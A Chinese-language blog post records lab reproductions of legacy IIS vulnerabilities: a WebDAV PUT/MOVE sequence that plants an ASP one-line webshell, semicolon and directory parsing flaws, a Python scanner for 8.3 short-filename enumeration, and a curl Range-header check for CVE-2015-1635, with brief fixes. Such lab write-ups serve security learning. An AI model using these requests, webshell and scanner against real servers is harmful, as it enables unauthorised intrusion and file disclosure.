# 前言
回到学校了,先把 blog 重构了一下。本来想着换一个主题 这个主题过于二次元了 :但是我辗转反侧一番后还是决定用现在这个主题,用其他主题前面需要改的东西就太多了。考虑到时间成本我还是使用原本的这个主题,到时候换一下其中的照片倒也还能接受。所以暂时就先这样吧。
# IIS
IIS 全称 internet information services。是 Microsoft 公司提供的可扩展 WEB 服务器,支持 HTTP,HTTP/2 等协议。目前只适用与 Windows 操作系统,不适用于其他系统。本来我是想找一下 IIS 市场份额占有率的数据的,但是我在 Netcraft 最新的服务器调查 blog 里甚至没有看到 IIS 的身影 2024 年 2 月 Web 服务器调查 | 网艺 (netcraft.com),我大致往前翻了翻。只能说曾经辉煌过,在 2018 年还能凭借 9.57% 的比例占据全球最繁忙的服务器 Apache 34.07%、Nginx 25.45% :。这个战绩也是情有可原,毕竟 IIS 安全性一直被业内诟病。网上公开的漏洞也都是很旧的版本了。下面是 windows 系统对应的 IIS 版本
windows 2016 对应 IIS10.0 | |
windows 2012 对应 IIS8.5 | |
windows 7 对应 IIS7.5 | |
windows server 2008 对应 IIS7.5 | |
windows vista Business, Enterpise 以及 ultimate 对应 IIS7 | |
Windows Vista Home Premium 对应 IIS7 | |
Windows Vista Home Edition 不支持 pws 或IIS | |
windows server 2003 对应 IIS 6.0 | |
windows xp professional 对应 IIS5.1 | |
windows 2000 professional 对应 IIS5.0 | |
windows NT professional 对应 IIS3.0并支持IIS 4 |
# 漏洞复现
这里也没什么前置知识好说的,会搭建就好。而且这么老的东西,我更倾向于了解一下相关的漏洞,主要有一点强迫症,还是简单的写一篇 blog 记录一下。
# IIS6.0 PUT 漏洞
# 漏洞描述
IIS6.0server 在 web 服务拓展中开启了 WebDAV。WebDAV 是一种 HTTP1.1 的拓展协议,例如 PUT,MOVE。根据 PUT 协议,当我们浏览某个网站,访问一个资源的时候。如果网站上存在这个资源,则会进行替换,如果不存在则会创建这个资源。所以我们可以通过 PUT 来对目标网站写入 shell。
# 利用条件
- IIS Server 在 Web 拓展服务中开启了 WebDAV
- 对网站目录具有写的权限
# 环境搭建
这里我使用的是 win2003
在控制面板这里选择添加或删除程序
然后在这里点击添加 / 删除 Windows 组件
然后在出现的 Windows 组件向导这里,选择应用程序服务器
然后下一步就可以安装完成了
值得注意的是这里需要连接上 CD/DVD
# 漏洞复现
这里看到,IIS 版本是 6.0 版本的
这里因为是复现这个 PUT 漏洞,所以我们需要将这个 Web 服务拓展中的 WebDAV 开启
这样就满足我们可利用的第一个条件了,第二个条件是我们需要对网站目录具有写入权限
然后主目录这里的写入权限也需要打开(默认也是关闭的)
这里设置一下 Internet 的权限,实际上这个权限默认是没有的,这样利用限制还是比较多的,访问如下图所示就可以开始测试了
这里先用 IIS PUT Scaner 探测一下
可以看到当前目录已经是可以使用 put 写入了,然后对其发送数据包
PUT /test.txt HTTP/1.1 | |
Host: 192.168.246.129 | |
Content-Length: 29 | |
<%eval request("clown")%> |
可以看到这里就已经成功写入了,当然这里上传的是 txt 文件,我们利用 move 方法将 txt 转为 asp 文件,发送如下数据包
MOVE /test.txt HTTP/1.1 | |
Host: 192.168.246.129 | |
Destination: http://192.168.246.129/shell.asp |
但是我们想要修改我们还需要脚本资源访问权限
然后就可以修改了
这里可以看到就已经复制了一份过来,然后我们尝试使用蚁剑连接
这里就已经利用成功了
# 修复
利用条件也是比较苛刻的,实际上默认情况下是没法被利用的。这里的修复我们针对性的就可以了
- IIS Server 在 Web 拓展服务中关闭 WebDAV
- 对网站目录限制写入权限
# IIS6.0 解析漏洞
# 漏洞描述
文件解析:IIS 会将 *.asp;.txt 这样的文件只会把其当做 *.asp 文件执行不会看分号之后的内容
目录解析:IIS 会将以 *.asp 命名的目录中的文件当做 asp 文件执行
# 利用条件
IIS6.0、IIS7.5
这里还是使用上面的环境
# 文件解析
这里还是使用上面的环境
MOVE /test.txt HTTP/1.1 | |
Host: 192.168.246.129 | |
Destination: http://192.168.246.129/1.asp;.txt |
然后这里我们将刚刚上传的 txt 文件,重名为 1.asp;.txt
可以看到修改成功了,这里我们使用蚁剑尝试连接
验证成功
# 目录解析
还是上面的环境,这里首先创建了一个 test.asp 文件夹,如下图
然后正在这个目录下创建一个 test.txt 文件
文件中写入一个一句话 asp 木马
可以看到这里也是当成 asp 文件了
# 补充
另外,IIS6.x 除了会将扩展名为。asp 之外,还会将扩展名为.asa、.cdx、.cer 等解析为 asp
这里仅拿一个做演示,其他的就不在截图了
# IIS6.x 短文件猜解
# 漏洞描述
攻击者可以利用 “~” 来猜解或者遍历服务器中的文件名。windows 以 8.3 格式生成与 MS-DOS 兼容的(短)文件名。这样做的目的是为了使得基于 MS-DOS 或者 16 位 windows 程序能正常访问这些文件。
# 利用条件
目前 IIS 支持短文件名猜测的 HTTP 方法主要包括:DEBUG、OPTIONS、GET、POST、HEAD、TRACE 六种。IIS 8.0 之后的版本只能通过 OPTIONS 和 TRACE 方法被猜测成功
IIS8.0 以下的版本需要开启 ASP.NET 支持,IIS 大于等于 8.0 版本可以通过 OPTIONS 和 TRACE 方法被猜测成功
# 漏洞复现
这里首先在网站目录这里创建一些文件和文件夹
然后我们使用 dir /x 来看一下短文件的效果
实际上我们可以看到,不是所有的文件都有短文件名。当后缀长度小于四的时候短文件名产生需要文件名前缀字符长度大于等于 9 位,后缀长度大于四的都有短文件名。
这里环境需要更改一下,首先找到添加或者删除程序,找到应用程序服务器后点击详细信息
找到 ASP.NET 点击确定
确定后点击下一步安装即可
然后再扩展这里打开这个 ASP.NET。然后就可以做这个实验了
对应上面的我有一个短文件名 GDAJGJ~.txt,这里就拿它做一个示例
存在的情况下返回 404
不存在的情况下返回 400,根据这个原理可以写一个很简单的脚本来排查一下
import requests | |
import string | |
def check_short_filename(url):#检查是否存在 | |
try: | |
check_payload_404 = "*~1*/clown.aspx"#一个通用存在的情况 | |
check_url_404 = url+check_payload_404 | |
re_404 = requests.get(check_url_404) | |
check_payload_400 = "*~999.clown/clown.aspx"#一个几乎不可能存在的情况 | |
check_url_400 = url+check_payload_400 | |
re_400 = requests.get(check_url_400) | |
if f'404' in str(re_404) and f'400' in str(re_400): | |
print("目标疑似存在短文件漏洞") | |
return True | |
print("目标未检测到短文件漏洞") | |
return False | |
except Exception as e: | |
print("发生错误:", e) | |
def scan_snort_filename(url,found_filenames,new_set): | |
try: | |
stringlist = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-" | |
filenames = [""] | |
while filenames: | |
new_filenames = [] | |
for filename in filenames: | |
for i in stringlist: | |
payload = url + filename + i + "*~1*/a.aspx" | |
if f'404' in str(requests.get(payload)): | |
new_filename = filename + i | |
new_filenames.append(new_filename) | |
found_filenames.add(new_filename) | |
filenames = new_filenames | |
for filename in found_filenames: | |
if len(filename) == 6: | |
new_set.add(filename) | |
# print(filename + "~1") | |
except Exception as e: | |
print("发生错误:", e) | |
def scan_snort_suffix(url, found_filenames): | |
try: | |
common_suffixes = [".htm", ".html", ".php", ".asp", ".aspx", ".jsp", ".cgi", ".pl", | |
".css", ".js", ".txt", ".xml", ".json", ".csv", ".doc", ".docx", | |
".xls", ".xlsx", ".ppt", ".pptx", ".pdf", ".zip", ".rar", ".tar", | |
".gz", ".7z", ".bmp", ".jpg", ".jpeg", ".png", ".gif", ".ico"] | |
found_suffixs = set() | |
for filename in found_filenames: | |
found = False | |
for suffix in common_suffixes: | |
payload = url + filename + "~1" + suffix + "*/a.aspx" | |
# print(payload) | |
if f'404' in str(requests.get(payload)): | |
found = True | |
found_suffixs.add(filename + "~1" + suffix) | |
if not found: | |
found_suffixs.add(filename) | |
for suffix in found_suffixs: | |
print(suffix) | |
except Exception as e: | |
print("发生错误:", e) | |
if __name__ == "__main__": | |
# 指定要探测的 URL | |
target_url = "http://192.168.246.129/" # 替换为你要探测的 URL | |
# 调用函数进行探测 | |
result = check_short_filename(target_url) | |
if (result): | |
found_filenames = set() | |
new_filenames = set() | |
scan_snort_filename(target_url,found_filenames,new_filenames) | |
scan_snort_suffix(target_url,new_filenames) |
实际上有很多类似的利用工具:
- WebBreacher/tilde_enum: Takes a URL and checks the system for the tilde enum vuln and then find the files. (github.com)
- irsdl/IIS-ShortName-Scanner: latest version of scanners for IIS short filename (8.3) disclosure vulnerability (github.com)
# CVE-2015-1635
# 环境搭建
这里使用的是 Windows Server 2008
在开始的管理工具这里打开服务器管理器
然后再这里选择添加角色
选中 IIS 服务器然后下一步
这里勾选 WebDAV 发布,直接安装即可
然后添加功能,还是在服务器管理器,这里选择添加功能
功能选择这里添加上图中勾选的这个即可直接安装
这时就已经可以访问了
# 利用条件
安装了微软 IIS 6.0 以上的 win 7/8/8.1/2008 R2/2012/2012 R2 都受到这个漏洞的影响。
# 漏洞验证
curl http://192.168.246.152 -H "Host:192.168.246.152" -H "Range:bytes=0-18446744073709551615" |
如果返回结果为 Requested Range Not Satisfiable 则存在漏洞,若返回 “the request has an invalid header name”,则说明该漏洞已修补。
这里直接使用 msf 来复现一下
直接搜索对应的 CVE,这里验证一下第一个
利用成功
验证成功